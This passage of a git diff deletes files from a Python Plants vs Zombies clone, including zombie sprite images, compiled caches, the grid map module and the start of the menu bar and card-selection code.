Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_11.png deleted file mode 100644 index 9c128dac34c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_2.png deleted file mode 100644 index 706aac54af8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_3.png deleted file mode 100644 index e96f3b02218..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_4.png deleted file mode 100644 index 83bf0dc22b3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_5.png deleted file mode 100644 index 9b922357cd4..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_6.png deleted file mode 100644 index de63f7c5c15..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_7.png deleted file mode 100644 index 7e5f719f479..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_8.png deleted file mode 100644 index a5263001504..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_9.png deleted file mode 100644 index 6c74f029b8e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieHead/ZombieHead_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_0.png deleted file mode 100644 index 176d97a9148..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_1.png deleted file mode 100644 index 262e2ac4c8f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_10.png deleted file mode 100644 index 8cfab4ed92b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_11.png deleted file mode 100644 index c9fbb02d9e3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_12.png deleted file mode 100644 index e06a07a49cb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_13.png deleted file mode 100644 index d89db62040b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_14.png deleted file mode 100644 index 35ca03cc42c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_15.png deleted file mode 100644 index be3447cb036..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_16.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_16.png deleted file mode 100644 index 4731685bf43..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_16.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_17.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_17.png deleted file mode 100644 index d9b2be0b0b0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_17.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_2.png deleted file mode 100644 index 012ddf410b1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_3.png deleted file mode 100644 index c31c8fe7330..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_4.png deleted file mode 100644 index 939ee2d846d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_5.png deleted file mode 100644 index 92e09760002..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_6.png deleted file mode 100644 index 84ed1990eac..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_7.png deleted file mode 100644 index 40844f6aa0f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_8.png deleted file mode 100644 index c89e47a66d0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_9.png deleted file mode 100644 index 123b6e45962..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHead/ZombieLostHead_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_0.png deleted file mode 100644 index 796970b045c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_1.png deleted file mode 100644 index b5df673151b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_10.png deleted file mode 100644 index 669f61281e1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_2.png deleted file mode 100644 index f8cadf6ba09..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_3.png deleted file mode 100644 index 1b9f3f38c95..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_4.png deleted file mode 100644 index bed1cf4eed7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_5.png deleted file mode 100644 index 3feba6bb4de..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_6.png deleted file mode 100644 index 81c18a4e61c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_7.png deleted file mode 100644 index 90c3138c878..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_8.png deleted file mode 100644 index ac82e386282..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_9.png deleted file mode 100644 index b47ed7d9002..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/NormalZombie/ZombieLostHeadAttack/ZombieLostHeadAttack_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/__init__.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/__init__.cpython-37.pyc deleted file mode 100644 index e258746e9c5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/__init__.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/constants.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/constants.cpython-37.pyc deleted file mode 100644 index e1f1738a099..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/constants.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/main.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/main.cpython-37.pyc deleted file mode 100644 index 2dcc9ede251..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/main.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/tool.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/tool.cpython-37.pyc deleted file mode 100644 index 1fe0bc986de..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__pycache__/tool.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/__init__.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/__init__.cpython-37.pyc deleted file mode 100644 index b31c5306f46..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/__init__.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/map.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/map.cpython-37.pyc deleted file mode 100644 index 9dfb3b0cfcd..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/map.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/menubar.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/menubar.cpython-37.pyc deleted file mode 100644 index 8c244000892..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/menubar.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/plant.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/plant.cpython-37.pyc deleted file mode 100644 index 7dbad4383b2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/plant.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/zombie.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/zombie.cpython-37.pyc deleted file mode 100644 index 561441ed261..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__pycache__/zombie.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/map.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/map.py deleted file mode 100644 index 0de0eda511d..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/map.py +++ /dev/null @@ -1,45 +0,0 @@ -__author__ = 'marble_xu' - -import random -import pygame as pg -from .. import tool -from .. import constants as c - -class Map(): - def __init__(self, width, height): - self.width = width - self.height = height - self.map = [[0 for x in range(self.width)] for y in range(self.height)] - - def isValid(self, map_x, map_y): - if (map_x < 0 or map_x >= self.width or - map_y < 0 or map_y >= self.height): - return False - return True - - def isMovable(self, map_x, map_y): - return (self.map[map_y][map_x] == c.MAP_EMPTY) - - def getMapIndex(self, x, y): - x -= c.MAP_OFFSET_X - y -= c.MAP_OFFSET_Y - return (x // c.GRID_X_SIZE, y // c.GRID_Y_SIZE) - - def getMapGridPos(self, map_x, map_y): - return (map_x * c.GRID_X_SIZE + c.GRID_X_SIZE//2 + c.MAP_OFFSET_X, - map_y * c.GRID_Y_SIZE + c.GRID_Y_SIZE//5 * 3 + c.MAP_OFFSET_Y) - - def setMapGridType(self, map_x, map_y, type): - self.map[map_y][map_x] = type - - def getRandomMapIndex(self): - map_x = random.randint(0, self.width-1) - map_y = random.randint(0, self.height-1) - return (map_x, map_y) - - def showPlant(self, x, y): - pos = None - map_x, map_y = self.getMapIndex(x, y) - if self.isValid(map_x, map_y) and self.isMovable(map_x, map_y): - pos = self.getMapGridPos(map_x, map_y) - return pos diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/menubar.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/menubar.py deleted file mode 100644 index 56054a52db1..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/menubar.py +++ /dev/null @@ -1,441 +0,0 @@ -__author__ = 'marble_xu' - -import random -import pygame as pg -from .. import tool -from .. import constants as c - -PANEL_Y_START = 87 -PANEL_X_START = 22 -PANEL_Y_INTERNAL = 74 -PANEL_X_INTERNAL = 53 -CARD_LIST_NUM = 8 - -card_name_list = [c.CARD_SUNFLOWER, c.CARD_PEASHOOTER, c.CARD_SNOWPEASHOOTER, c.CARD_WALLNUT, - c.CARD_CHERRYBOMB, c.CARD_THREEPEASHOOTER, c.CARD_REPEATERPEA, c.CARD_CHOMPER, - c.CARD_PUFFSHROOM, c.CARD_POTATOMINE, c.CARD_SQUASH, c.CARD_SPIKEWEED, - c.CARD_JALAPENO, c.CARD_SCAREDYSHROOM, c.CARD_SUNSHROOM, c.CARD_ICESHROOM, - c.CARD_HYPNOSHROOM, c.CARD_WALLNUT, c.CARD_REDWALLNUT] -plant_name_list = [c.SUNFLOWER, c.PEASHOOTER, c.SNOWPEASHOOTER, c.WALLNUT, - c.CHERRYBOMB, c.THREEPEASHOOTER, c.REPEATERPEA, c.CHOMPER, - c.PUFFSHROOM, c.POTATOMINE, c.SQUASH, c.SPIKEWEED, - c.JALAPENO, c.SCAREDYSHROOM, c.SUNSHROOM, c.ICESHROOM, - c.HYPNOSHROOM, c.WALLNUTBOWLING, c.REDWALLNUTBOWLING] -plant_sun_list = [50, 100, 175, 50, 150, 325, 200, 150, 0, 25, 50, 100, 125, 25, 25, 75, 75, 0, 0] -plant_frozen_time_list = [7500, 7500, 7500, 30000, 50000, 7500, 7500, 7500, 7500, 30000, - 30000, 7500, 50000, 7500, 7500, 50000, 30000, 0, 0] -all_card_list = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16] - -def getSunValueImage(sun_value): - font = pg.font.SysFont(None, 22) - width = 32 - msg_image = font.render(str(sun_value), True, c.NAVYBLUE, c.LIGHTYELLOW) - msg_rect = msg_image.get_rect() - msg_w = msg_rect.width - - image = pg.Surface([width, 17]) - x = width - msg_w - - image.fill(c.LIGHTYELLOW) - image.blit(msg_image, (x, 0), (0, 0, msg_rect.w, msg_rect.h)) - image.set_colorkey(c.BLACK) - return image - -def getCardPool(data): - card_pool = [] - for card in data: - tmp = card['name'] - for i,name in enumerate(plant_name_list): - if name == tmp: - card_pool.append(i) - break - return card_pool - -class Card(): - def __init__(self, x, y, name_index, scale=0.78): - self.loadFrame(card_name_list[name_index], scale) - self.rect = self.orig_image.get_rect() - self.rect.x = x - self.rect.y = y - - self.name_index = name_index - self.sun_cost = plant_sun_list[name_index] - self.frozen_time = plant_frozen_time_list[name_index] - self.frozen_timer = -self.frozen_time - self.refresh_timer = 0 - self.select = True - - def loadFrame(self, name, scale): - frame = tool.GFX[name] - rect = frame.get_rect() - width, height = rect.w, rect.h - - self.orig_image = tool.get_image(frame, 0, 0, width, height, c.BLACK, scale) - self.image = self.orig_image - - def checkMouseClick(self, mouse_pos): - x, y = mouse_pos - if(x >= self.rect.x and x <= self.rect.right and - y >= self.rect.y and y <= self.rect.bottom): - return True - return False - - def canClick(self, sun_value, current_time): - if self.sun_cost <= sun_value and (current_time - self.frozen_timer) > self.frozen_time: - return True - return False - - def canSelect(self): - return self.select - - def setSelect(self, can_select): - self.select = can_select - if can_select: - self.image.set_alpha(255) - else: - self.image.set_alpha(128) - - def setFrozenTime(self, current_time): - self.frozen_timer = current_time - - def createShowImage(self, sun_value, current_time): - '''create a card image to show cool down status - or disable status when have not enough sun value''' - time = current_time - self.frozen_timer - if time < self.frozen_time: #cool down status - image = pg.Surface([self.rect.w, self.rect.h]) - frozen_image = self.orig_image.copy() - frozen_image.set_alpha(128) - frozen_height = (self.frozen_time - time)/self.frozen_time * self.rect.h - - image.blit(frozen_image, (0,0), (0, 0, self.rect.w, frozen_height)) - image.blit(self.orig_image, (0,frozen_height), - (0, frozen_height, self.rect.w, self.rect.h - frozen_height)) - elif self.sun_cost > sun_value: #disable status - image = self.orig_image.copy() - image.set_alpha(192) - else: - image = self.orig_image - return image - - def update(self, sun_value, current_time): - if (current_time - self.refresh_timer) >= 250: - self.image = self.createShowImage(sun_value, current_time) - self.refresh_timer = current_time - - def draw(self, surface): - surface.blit(self.image, self.rect) - -class MenuBar(): - def __init__(self, card_list, sun_value): - self.loadFrame(c.MENUBAR_BACKGROUND) - self.rect = self.image.get_rect() - self.rect.x = 10 - self.rect.y = 0 - - self.sun_value = sun_value - self.card_offset_x = 32 - self.setupCards(card_list) - - def loadFrame(self, name): - frame = tool.GFX[name] - rect = frame.get_rect() - frame_rect = (rect.x, rect.y, rect.w, rect.h) - - self.image = tool.get_image(tool.GFX[name], *frame_rect, c.WHITE, 1) - - def update(self, current_time): - self.current_time = current_time - for card in self.card_list: - card.update(self.sun_value, self.current_time) - - def createImage(self, x, y, num): - if num == 1: - return - img = self.image - rect = self.image.get_rect() - width = rect.w - height = rect.h - self.image = pg.Surface((width * num, height)).convert() - self.rect = self.image.get_rect() - self.rect.x = x - self.rect.y = y - for i in range(num): - x = i * width - self.image.blit(img, (x,0)) - self.image.set_colorkey(c.BLACK) - - def setupCards(self, card_list): - self.card_list = [] - x = self.card_offset_x - y = 8 - for index in card_list: 